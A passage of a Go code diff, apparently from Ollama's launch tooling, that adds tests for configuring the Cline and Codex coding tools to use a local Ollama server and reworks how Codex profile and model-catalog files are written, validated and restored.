"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -25,6 +28,55 @@ func TestClineIntegration(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestEnsureClineInstalled(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses a POSIX shell test binary")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
clinePath := filepath.Join(tmpDir, "cline")
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
printf '%%s\n' "$*" > "$HOME/npm-calls.log"
|
||||
/bin/cat > %q <<'EOF'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOF
|
||||
/bin/chmod +x %q
|
||||
exit 0
|
||||
`, clinePath, clinePath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "npm"), []byte(npmScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
oldConfirmPrompt := DefaultConfirmPrompt
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
if prompt != "Cline is not installed. Install with npm?" {
|
||||
t.Fatalf("unexpected prompt: %q", prompt)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
defer func() { DefaultConfirmPrompt = oldConfirmPrompt }()
|
||||
|
||||
bin, err := ensureClineInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureClineInstalled() error = %v", err)
|
||||
}
|
||||
if bin != "cline" {
|
||||
t.Fatalf("ensureClineInstalled() bin = %q, want %q", bin, "cline")
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, "npm-calls.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := strings.TrimSpace(string(data)); got != "install -g cline@latest" {
|
||||
t.Fatalf("npm args = %q, want %q", got, "install -g cline@latest")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClineEdit(t *testing.T) {
|
||||
c := &Cline{}
|
||||
tmpDir := t.TempDir()
|
||||
@@ -32,6 +84,7 @@ func TestClineEdit(t *testing.T) {
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".cline", "data")
|
||||
configPath := filepath.Join(configDir, "globalState.json")
|
||||
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
|
||||
|
||||
readConfig := func() map[string]any {
|
||||
data, _ := os.ReadFile(configPath)
|
||||
@@ -40,34 +93,71 @@ func TestClineEdit(t *testing.T) {
|
||||
return config
|
||||
}
|
||||
|
||||
readProvidersConfig := func() map[string]any {
|
||||
data, _ := os.ReadFile(providersPath)
|
||||
var config map[string]any
|
||||
json.Unmarshal(data, &config)
|
||||
return config
|
||||
}
|
||||
|
||||
t.Run("creates config from scratch", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
|
||||
if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
|
||||
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
config := readConfig()
|
||||
if config["actModeApiProvider"] != "ollama" {
|
||||
t.Errorf("actModeApiProvider = %v, want ollama", config["actModeApiProvider"])
|
||||
if config["actModeApiProvider"] != clineLaunchProvider {
|
||||
t.Errorf("actModeApiProvider = %v, want %s", config["actModeApiProvider"], clineLaunchProvider)
|
||||
}
|
||||
if config["actModeOllamaModelId"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("actModeOllamaModelId = %v, want kimi-k2.5:cloud", config["actModeOllamaModelId"])
|
||||
}
|
||||
if config["planModeApiProvider"] != "ollama" {
|
||||
t.Errorf("planModeApiProvider = %v, want ollama", config["planModeApiProvider"])
|
||||
if config["actModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("actModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["actModeOllamaBaseUrl"])
|
||||
}
|
||||
if config["planModeApiProvider"] != clineLaunchProvider {
|
||||
t.Errorf("planModeApiProvider = %v, want %s", config["planModeApiProvider"], clineLaunchProvider)
|
||||
}
|
||||
if config["planModeOllamaModelId"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("planModeOllamaModelId = %v, want kimi-k2.5:cloud", config["planModeOllamaModelId"])
|
||||
}
|
||||
if config["planModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("planModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["planModeOllamaBaseUrl"])
|
||||
}
|
||||
if config["ollamaBaseUrl"] != "http://127.0.0.1:11434" {
|
||||
t.Errorf("ollamaBaseUrl = %v, want http://127.0.0.1:11434", config["ollamaBaseUrl"])
|
||||
}
|
||||
if config["welcomeViewCompleted"] != true {
|
||||
t.Errorf("welcomeViewCompleted = %v, want true", config["welcomeViewCompleted"])
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
if providersConfig["lastUsedProvider"] != clineLaunchProvider {
|
||||
t.Errorf("lastUsedProvider = %v, want %s", providersConfig["lastUsedProvider"], clineLaunchProvider)
|
||||
}
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] == "" {
|
||||
t.Errorf("updatedAt = %v, want timestamp", provider["updatedAt"])
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings["model"] != "kimi-k2.5:cloud" {
|
||||
t.Errorf("settings.model = %v, want kimi-k2.5:cloud", settings["model"])
|
||||
}
|
||||
if _, ok := settings["apiKey"]; ok {
|
||||
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
|
||||
}
|
||||
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("preserves existing fields", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
|
||||
existing := map[string]any{
|
||||
"remoteRulesToggles": map[string]any{},
|
||||
@@ -77,7 +167,22 @@ func TestClineEdit(t *testing.T) {
|
||||
data, _ := json.Marshal(existing)
|
||||
os.WriteFile(configPath, data, 0o644)
|
||||
|
||||
if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
|
||||
existingProviders := map[string]any{
|
||||
"customRoot": "keep-me-too",
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"updatedAt": "2026-05-29T16:56:46.111Z",
|
||||
"settings": map[string]any{
|
||||
"apiKey": "bad-migrated-key",
|
||||
"timeout": float64(30000),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(existingProviders)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -88,15 +193,84 @@ func TestClineEdit(t *testing.T) {
|
||||
if config["actModeOllamaModelId"] != "glm-5:cloud" {
|
||||
t.Errorf("actModeOllamaModelId = %v, want glm-5:cloud", config["actModeOllamaModelId"])
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
if providersConfig["customRoot"] != "keep-me-too" {
|
||||
t.Errorf("customRoot was not preserved")
|
||||
}
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] == "2026-05-29T16:56:46.111Z" {
|
||||
t.Errorf("updatedAt = %v, want refreshed timestamp after provider change", provider["updatedAt"])
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings["timeout"] != float64(30000) {
|
||||
t.Errorf("settings.timeout = %v, want 30000", settings["timeout"])
|
||||
}
|
||||
if _, ok := settings["apiKey"]; ok {
|
||||
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
|
||||
}
|
||||
if settings["model"] != "glm-5:cloud" {
|
||||
t.Errorf("settings.model = %v, want glm-5:cloud", settings["model"])
|
||||
}
|
||||
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("validates both configs before writing providers config", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.WriteFile(configPath, []byte("{not json"), 0o644)
|
||||
|
||||
err := c.Edit(testLaunchModels("kimi-k2.5:cloud"))
|
||||
if err == nil {
|
||||
t.Fatal("expected invalid legacy config error")
|
||||
}
|
||||
if _, statErr := os.Stat(providersPath); !os.IsNotExist(statErr) {
|
||||
t.Fatalf("providers config should not be written when legacy config is invalid, stat err = %v", statErr)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("preserves updatedAt when provider settings are unchanged", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
|
||||
existingProviders := map[string]any{
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"updatedAt": "2026-05-29T16:56:46.111Z",
|
||||
"tokenSource": "manual",
|
||||
"settings": map[string]any{
|
||||
"provider": clineLaunchProvider,
|
||||
"model": "kimi-k2.5:cloud",
|
||||
"baseUrl": "http://127.0.0.1:11434/v1",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(existingProviders)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
providersConfig := readProvidersConfig()
|
||||
providers, _ := providersConfig["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider["updatedAt"] != "2026-05-29T16:56:46.111Z" {
|
||||
t.Errorf("updatedAt = %v, want preserved timestamp", provider["updatedAt"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("updates model on re-edit", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
|
||||
if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
|
||||
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
|
||||
if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -124,7 +298,7 @@ func TestClineEdit(t *testing.T) {
|
||||
t.Run("uses first model as primary", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
|
||||
if err := c.Edit([]string{"kimi-k2.5:cloud", "glm-5:cloud"}); err != nil {
|
||||
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud", "glm-5:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -142,6 +316,7 @@ func TestClineModels(t *testing.T) {
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".cline", "data")
|
||||
configPath := filepath.Join(configDir, "globalState.json")
|
||||
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
|
||||
|
||||
t.Run("returns nil when no config", func(t *testing.T) {
|
||||
if models := c.Models(); models != nil {
|
||||
@@ -177,6 +352,55 @@ func TestClineModels(t *testing.T) {
|
||||
t.Errorf("Models() = %v, want [kimi-k2.5:cloud]", models)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("prefers CLI provider config", func(t *testing.T) {
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
config := map[string]any{
|
||||
"lastUsedProvider": clineLaunchProvider,
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"settings": map[string]any{
|
||||
"model": "glm-5:cloud",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ := json.Marshal(config)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
models := c.Models()
|
||||
if len(models) != 1 || models[0] != "glm-5:cloud" {
|
||||
t.Errorf("Models() = %v, want [glm-5:cloud]", models)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("ignores stale CLI provider config when ollama is not active", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
os.MkdirAll(configDir, 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
legacyConfig := map[string]any{
|
||||
"actModeApiProvider": "anthropic",
|
||||
"actModeOllamaModelId": "legacy-ollama-model",
|
||||
}
|
||||
data, _ := json.Marshal(legacyConfig)
|
||||
os.WriteFile(configPath, data, 0o644)
|
||||
providerConfig := map[string]any{
|
||||
"lastUsedProvider": "openai",
|
||||
"providers": map[string]any{
|
||||
clineLaunchProvider: map[string]any{
|
||||
"settings": map[string]any{
|
||||
"model": "stale-ollama-model",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(providerConfig)
|
||||
os.WriteFile(providersPath, data, 0o644)
|
||||
|
||||
if models := c.Models(); models != nil {
|
||||
t.Errorf("Models() = %v, want nil", models)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestClinePaths(t *testing.T) {
|
||||
@@ -201,4 +425,38 @@ func TestClinePaths(t *testing.T) {
|
||||
t.Errorf("Paths() = %v, want [%s]", paths, configPath)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns both paths when both configs exist", func(t *testing.T) {
|
||||
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
|
||||
legacyPath := clineLegacyGlobalStatePath(tmpDir)
|
||||
providersPath := clineProvidersPath(tmpDir)
|
||||
os.MkdirAll(filepath.Dir(legacyPath), 0o755)
|
||||
os.MkdirAll(filepath.Dir(providersPath), 0o755)
|
||||
os.WriteFile(legacyPath, []byte("{}"), 0o644)
|
||||
os.WriteFile(providersPath, []byte("{}"), 0o644)
|
||||
|
||||
paths := c.Paths()
|
||||
want := []string{providersPath, legacyPath}
|
||||
if len(paths) != len(want) {
|
||||
t.Fatalf("Paths() = %v, want %v", paths, want)
|
||||
}
|
||||
for i := range want {
|
||||
if paths[i] != want[i] {
|
||||
t.Fatalf("Paths() = %v, want %v", paths, want)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestClineLaunchArgs(t *testing.T) {
|
||||
got := clineLaunchArgs("kimi-k2.5:cloud", []string{"--json", "hello"})
|
||||
want := []string{"--json", "hello"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("args length = %d, want %d: %v", len(got), len(want), got)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("args[%d] = %q, want %q; got %v", i, got[i], want[i], got)
|
||||
}
|
||||
}
|
||||
}
|
||||
+694
-63
@@ -1,13 +1,17 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
"github.com/pelletier/go-toml/v2"
|
||||
"golang.org/x/mod/semver"
|
||||
)
|
||||
|
||||
@@ -16,27 +20,54 @@ type Codex struct{}
|
||||
|
||||
func (c *Codex) String() string { return "Codex" }
|
||||
|
||||
const codexProfileName = "ollama-launch"
|
||||
const (
|
||||
codexProfileName = "ollama-launch"
|
||||
codexProviderName = "Ollama"
|
||||
codexFallbackContextWindow = 128_000
|
||||
codexRestoreSuccess = "Codex launch configuration removed."
|
||||
|
||||
codexRootProfileKey = "profile"
|
||||
codexRootModelKey = "model"
|
||||
codexRootModelProviderKey = "model_provider"
|
||||
codexRootModelCatalogJSONKey = "model_catalog_json"
|
||||
)
|
||||
|
||||
func (c *Codex) args(model, modelCatalogPath string, extra []string) ([]string, error) {
|
||||
if err := codexValidateExtraArgs(extra); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
func (c *Codex) args(model string, extra []string) []string {
|
||||
args := []string{"--profile", codexProfileName}
|
||||
for _, override := range codexManagedConfigOverrides(modelCatalogPath) {
|
||||
args = append(args, "-c", override)
|
||||
}
|
||||
if model != "" {
|
||||
args = append(args, "-m", model)
|
||||
}
|
||||
args = append(args, extra...)
|
||||
return args
|
||||
return args, nil
|
||||
}
|
||||
|
||||
func (c *Codex) Run(model string, args []string) error {
|
||||
func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
|
||||
if err := checkCodexVersion(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := ensureCodexConfig(); err != nil {
|
||||
if err := ensureCodexConfig(model, models); err != nil {
|
||||
return fmt.Errorf("failed to configure codex: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command("codex", c.args(model, args)...)
|
||||
catalogPath, err := codexModelCatalogPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to configure codex: %w", err)
|
||||
}
|
||||
|
||||
codexArgs, err := c.args(model, catalogPath, args)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to configure codex: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command("codex", codexArgs...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
@@ -46,79 +77,679 @@ func (c *Codex) Run(model string, args []string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// ensureCodexConfig writes a [profiles.ollama-launch] section to ~/.codex/config.toml
|
||||
// with openai_base_url pointing to the local Ollama server.
|
||||
func ensureCodexConfig() error {
|
||||
home, err := os.UserHomeDir()
|
||||
func (c *Codex) Restore() error {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
codexDir := filepath.Join(home, ".codex")
|
||||
if err := os.MkdirAll(codexDir, 0o755); err != nil {
|
||||
if err := removeCodexProfileConfig(); err != nil {
|
||||
return codexRestoreFailure(configPath, err)
|
||||
}
|
||||
if err := removeCodexModelCatalogIfUnused(configPath); err != nil {
|
||||
return codexRestoreFailure(configPath, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Codex) RestoreSuccessMessage() string {
|
||||
return codexRestoreSuccess
|
||||
}
|
||||
|
||||
func (c *Codex) SkipRestoreInstallCheck() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func codexRestoreFailure(configPath string, err error) error {
|
||||
return fmt.Errorf("restore Codex config: %w\n\nRestore did not complete. Check these files before retrying:\n Codex config: %s\n CLI profile: %s\n CLI model catalog: %s\n Backups: %s",
|
||||
err,
|
||||
configPath,
|
||||
codexProfileConfigPathForConfig(configPath),
|
||||
codexModelCatalogPathForConfig(configPath),
|
||||
fileutil.BackupDir(),
|
||||
)
|
||||
}
|
||||
|
||||
func removeCodexProfileConfig() error {
|
||||
profilePath, err := codexProfileConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return removeCodexFile(profilePath)
|
||||
}
|
||||
|
||||
func removeCodexModelCatalogIfUnused(configPath string) error {
|
||||
catalogPath := codexModelCatalogPathForConfig(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
if err == nil {
|
||||
config, parseErr := codexParseConfig(string(data))
|
||||
if parseErr != nil {
|
||||
return parseErr
|
||||
}
|
||||
if config.RootString(codexRootModelCatalogJSONKey) == catalogPath {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return removeCodexFile(catalogPath)
|
||||
}
|
||||
|
||||
func removeCodexFile(path string) error {
|
||||
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func codexValidateExtraArgs(args []string) error {
|
||||
for i, arg := range args {
|
||||
switch {
|
||||
case arg == "-p", strings.HasPrefix(arg, "-p"):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
|
||||
case arg == "--profile", strings.HasPrefix(arg, "--profile="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
|
||||
case arg == "-m", strings.HasPrefix(arg, "-m"):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
|
||||
case arg == "--model", strings.HasPrefix(arg, "--model="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
|
||||
case arg == "-c", arg == "--config":
|
||||
if i+1 < len(args) && codexConfigOverrideConflicts(args[i+1]) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", args[i+1])
|
||||
}
|
||||
case strings.HasPrefix(arg, "-c") && len(arg) > len("-c"):
|
||||
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "-c")) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
|
||||
}
|
||||
case strings.HasPrefix(arg, "--config="):
|
||||
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "--config=")) {
|
||||
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func codexManagedConfigOverrides(modelCatalogPath string) []string {
|
||||
overrides := []string{
|
||||
fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
|
||||
fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
|
||||
fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
|
||||
fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
overrides = append(overrides, fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
}
|
||||
return overrides
|
||||
}
|
||||
|
||||
func codexConfigOverrideConflicts(value string) bool {
|
||||
key, _, ok := strings.Cut(strings.TrimSpace(value), "=")
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
key = strings.TrimSpace(key)
|
||||
key = strings.Trim(key, `"'`)
|
||||
switch {
|
||||
case key == codexRootProfileKey,
|
||||
key == codexRootModelKey,
|
||||
key == codexRootModelProviderKey,
|
||||
key == codexRootModelCatalogJSONKey:
|
||||
return true
|
||||
case strings.HasPrefix(key, "model_providers."):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ensureCodexConfig writes a Codex profile file and model catalog so Codex uses
|
||||
// the local Ollama server without changing app-visible root config.
|
||||
func ensureCodexConfig(modelName string, models []LaunchModel) error {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
configPath := filepath.Join(codexDir, "config.toml")
|
||||
return writeCodexProfile(configPath)
|
||||
codexDir := filepath.Dir(configPath)
|
||||
if err := os.MkdirAll(codexDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := cleanupCodexLegacyProfileConfig(configPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
catalogPath := codexModelCatalogPathForConfig(configPath)
|
||||
if err := writeCodexModelCatalog(catalogPath, codexCatalogModel(modelName, models)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
profilePath := codexProfileConfigPathForConfig(configPath)
|
||||
return writeCodexProfileConfig(profilePath, modelName, catalogPath)
|
||||
}
|
||||
|
||||
// writeCodexProfile ensures ~/.codex/config.toml has the ollama-launch profile
|
||||
// and model provider sections with the correct base URL.
|
||||
func writeCodexProfile(configPath string) error {
|
||||
baseURL := envconfig.Host().String() + "/v1/"
|
||||
func codexConfigPath() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(home, ".codex", "config.toml"), nil
|
||||
}
|
||||
|
||||
sections := []struct {
|
||||
header string
|
||||
lines []string
|
||||
func codexModelCatalogPath() (string, error) {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return codexModelCatalogPathForConfig(configPath), nil
|
||||
}
|
||||
|
||||
func codexModelCatalogPathForConfig(configPath string) string {
|
||||
return filepath.Join(filepath.Dir(configPath), "model.json")
|
||||
}
|
||||
|
||||
func codexProfileConfigPath() (string, error) {
|
||||
configPath, err := codexConfigPath()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return codexProfileConfigPathForConfig(configPath), nil
|
||||
}
|
||||
|
||||
func codexProfileConfigPathForConfig(configPath string) string {
|
||||
return codexNamedProfileConfigPathForConfig(configPath, codexProfileName)
|
||||
}
|
||||
|
||||
func codexNamedProfileConfigPathForConfig(configPath, profileName string) string {
|
||||
return filepath.Join(filepath.Dir(configPath), profileName+".config.toml")
|
||||
}
|
||||
|
||||
func cleanupCodexLegacyProfileConfig(configPath string) error {
|
||||
content, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
text := string(content)
|
||||
parsed, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
updated := text
|
||||
if profile, ok := parsed.RootStringOK(codexRootProfileKey); ok && profile == codexProfileName {
|
||||
updated = codexRemoveRootValue(updated, codexRootProfileKey)
|
||||
}
|
||||
if parsed.Exists("profiles", codexProfileName) {
|
||||
updated = codexRemoveSection(updated, codexProfileHeader())
|
||||
}
|
||||
if updated == text {
|
||||
return nil
|
||||
}
|
||||
if err := codexValidateConfigText(updated); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, []byte(updated), "")
|
||||
}
|
||||
|
||||
// writeCodexProfileConfig ensures ~/.codex/ollama-launch.config.toml selects
|
||||
// the Ollama provider and catalog for CLI launches without changing root config.
|
||||
func writeCodexProfileConfig(profilePath, model, modelCatalogPath string) error {
|
||||
return writeCodexNamedProfileConfig(profilePath, codexProfileName, model, modelCatalogPath, "")
|
||||
}
|
||||
|
||||
func writeCodexNamedProfileConfig(profilePath, profileName, model, modelCatalogPath, backupSubdir string) error {
|
||||
baseURL := codexBaseURL()
|
||||
|
||||
var lines []string
|
||||
if strings.TrimSpace(model) != "" {
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelKey, model))
|
||||
}
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelProviderKey, profileName))
|
||||
if strings.TrimSpace(modelCatalogPath) != "" {
|
||||
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelCatalogJSONKey, modelCatalogPath))
|
||||
}
|
||||
text := strings.Join(lines, "\n") + "\n\n"
|
||||
text += strings.Join([]string{
|
||||
codexProviderHeaderFor(profileName),
|
||||
fmt.Sprintf("name = %q", codexProviderName),
|
||||
fmt.Sprintf("base_url = %q", baseURL),
|
||||
`wire_api = "responses"`,
|
||||
"",
|
||||
}, "\n")
|
||||
|
||||
parsed, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := codexValidateProfileConfigText(parsed, profileName, model, modelCatalogPath, baseURL); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(profilePath, []byte(text), backupSubdir)
|
||||
}
|
||||
|
||||
func codexBaseURL() string {
|
||||
return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1/"
|
||||
}
|
||||
|
||||
func codexProfileHeader() string {
|
||||
return codexProfileHeaderFor(codexProfileName)
|
||||
}
|
||||
|
||||
func codexProviderHeader() string {
|
||||
return codexProviderHeaderFor(codexProfileName)
|
||||
}
|
||||
|
||||
func codexProfileHeaderFor(profileName string) string {
|
||||
return fmt.Sprintf("[profiles.%s]", profileName)
|
||||
}
|
||||
|
||||
func codexProviderHeaderFor(profileName string) string {
|
||||
return fmt.Sprintf("[model_providers.%s]", profileName)
|
||||
}
|
||||
|
||||
func codexValidateProfileConfigText(config codexParsedConfig, profileName, model, modelCatalogPath, baseURL string) error {
|
||||
if config.Exists("profiles", profileName) {
|
||||
return fmt.Errorf("generated Codex config still contains legacy profiles.%s table", profileName)
|
||||
}
|
||||
for _, check := range []struct {
|
||||
path []string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
header: fmt.Sprintf("[profiles.%s]", codexProfileName),
|
||||
lines: []string{
|
||||
fmt.Sprintf("openai_base_url = %q", baseURL),
|
||||
`forced_login_method = "api"`,
|
||||
fmt.Sprintf("model_provider = %q", codexProfileName),
|
||||
},
|
||||
},
|
||||
{
|
||||
header: fmt.Sprintf("[model_providers.%s]", codexProfileName),
|
||||
lines: []string{
|
||||
`name = "Ollama"`,
|
||||
